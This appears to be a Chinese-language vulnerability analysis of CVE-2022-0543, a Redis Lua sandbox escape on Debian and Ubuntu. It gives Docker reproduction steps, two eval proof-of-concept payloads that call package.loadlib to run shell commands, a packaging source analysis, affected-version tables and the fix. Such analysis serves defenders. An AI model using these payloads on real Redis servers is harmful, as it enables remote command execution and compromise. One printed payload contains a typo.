CVE-2022-0543 Redis沙盒逃逸分析

渗透技巧 2年前 (2022) admin
1,289 0 0

0x01 漏洞描述

Redis是一种非常广泛使用的缓存服务,但它也被用作消息代理。客户端通过套接字与 Redis 服务器通信,发送命令,服务器更改其状态(即其内存结构)以响应此类命令。Redis 嵌入了 Lua 编程语言作为其脚本引擎,可通过eval命令使用。Lua 引擎应该是沙盒化的,即客户端可以与 Lua 中的 Redis API 交互,但不能在运行 Redis 的机器上执行任意代码。
CVE-2022-0543漏洞影响的版本只限于Debian 和 Debian 派生的 Linux 发行版(如Ubuntu)上的 Redis 服务。
安全研究人员发现在 Debian 上,Lua 由 Redis 动态加载,且在 Lua 解释器本身初始化时,modulerequire以及package的Lua 变量存在于上游Lua 的全局环境中,而不是不存在于 Redis 的 Lua 上,并且前两个全局变量在上个版本中被清除修复了,而package并没有清楚,所以导致redis可以加载上游的Lua全局变量package来逃逸沙箱。


0x02 漏洞复现


拉取vulhub的redis docker镜像
系统版本:Ubuntu 20.04.4 LTS (Focal Fossa)
redis版本:5:5.0.7-2

然后在命令行终端中执行:
拉取以及启动容器:docker-compose up
进入容器:docker exec -it xxxx(容器id) /bin/bash
然后就可以在docker命令行中输入:redis-cli -h 127.0.0.1
CVE-2022-0543 Redis沙盒逃逸分析
PoC 1:利用luaopen_os函数eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0


CVE-2022-0543 Redis沙盒逃逸分析


CVE-2022-0543 Redis沙盒逃逸分析
PoC 2:利用luaopen_io函数eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaope_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
CVE-2022-0543 Redis沙盒逃逸分析
前提都是需要知道package.loadlib的路径

0x03 漏洞分析


void luaLoadLibraries(lua_State *lua) {                                                                                                                                                   
   luaLoadLib(lua""luaopen_base);                                                                                                                                                    
   luaLoadLib(luaLUA_TABLIBNAMEluaopen_table);                                                                                                                                       
   luaLoadLib(luaLUA_STRLIBNAMEluaopen_string);                                                                                                                                      
   luaLoadLib(luaLUA_MATHLIBNAMEluaopen_math);                                                                                                                                       
   luaLoadLib(luaLUA_DBLIBNAMEluaopen_debug);                                                                                                                                        
   luaLoadLib(lua"cjson"luaopen_cjson);                                                                                                                                              
   luaLoadLib(lua"struct"luaopen_struct);                                                                                                                                            
   luaLoadLib(lua"cmsgpack"luaopen_cmsgpack);                                                                                                                                        
   luaLoadLib(lua"bit"luaopen_bit);                                                                                                                                                  
                                                                                                                                                                                         
#if 0 /* Stuff that we don't load currently, for sandboxing concerns. */
   luaLoadLib(luaLUA_LOADLIBNAMEluaopen_package);                                                                                                                                    
   luaLoadLib(luaLUA_OSLIBNAMEluaopen_os);                                                                                                                                           
#endif 
...
...
debian/lua_libs_debian.c:
echo "// Automatically generated; do not edit." >$@
       echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
       set -efor X in $(LUA_LIBS_DEBIAN_NAMES); do 
               echo "if (luaL_dostring(lua, "$$X = require('$$X');"))" >>$@;
               echo "   serverLog(LL_NOTICE, "Error loading $$X library");" >>$@;
       done
       echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@
在 Debian 上,Lua 由 Redis 动态加载,而且 lua-bitop 和 lua-cjson 是它们自己的包,在 Lua 解释器本身初始化时加载。执行解释器初始化时,modulerequire的Lua 变量,这些变量存在于上游 Lua 的全局环境中,但不存在于 Redis 的 Lua 上,并且最后modulerequire会被清除而package变量没有。这些都是通过 debian/rules 文件生成的,该文件会生成一个 debian/lua_libs_debian.c 文件,该文件包含在上面显示的#endif 指令之后
luaopen_package 最终会被调用,这与上面代码发生的情况相反。这在全局环境中绑定三个变量:modulerequirepackage。前两个变量在前面的版本中被清除修复了,但package并没有。因此,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

0x04 漏洞影响 & 解决方案


Ubuntu的Redis-Server

发行版本
状态


bionic
该版本不存在漏洞
focal
目前最新版本:5:5.0.7-2ubuntu0.1(已修复)
impish
目前最新版本:5:6.0.15-1ubuntu0.1(已修复)
trusty
该版本不存在漏洞
upstream
目前最新版本 :6.0.16-1+deb11u2(已修复)
xenial
超出标准支持

Debain的Redis-Server

发行版本
状态


stretch/stretch (security)
目前最新版本: 3:3.2.6-3+deb9u3 (已修复)
buster
版本: 5:5.0.3-4+deb10u3 (存在漏洞)
buster (security)
目前最新版本: 5:5.0.14-1+deb10u2 (已修复)
bullseye
版本: 5:6.0.15-1 (存在漏洞)
bullseye (security)
目前最新版本:5:6.0.16-1+deb11u2 (已修复)
bookworm, sid
目前最新版本:5:6.0.16-2 (已修复)

修复方案:

Lua 初始化的末尾添加package=nil 。
luaL_dostring(lua, "module = nil; require = nil;package=nil;"

0x05 参考链接


  • https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce

  • https://ubuntu.com/security/CVE-2022-0543

  • https://security-tracker.debian.org/tracker/CVE-2022-0543




CVE-2022-0543 Redis沙盒逃逸分析

点个在看你最好看

CVE-2022-0543 Redis沙盒逃逸分析

原文始发于微信公众号(山石网科安全技术研究院):CVE-2022-0543 Redis沙盒逃逸分析

版权声明:admin 发表于 2022年3月22日 上午11:37。
转载请注明:CVE-2022-0543 Redis沙盒逃逸分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...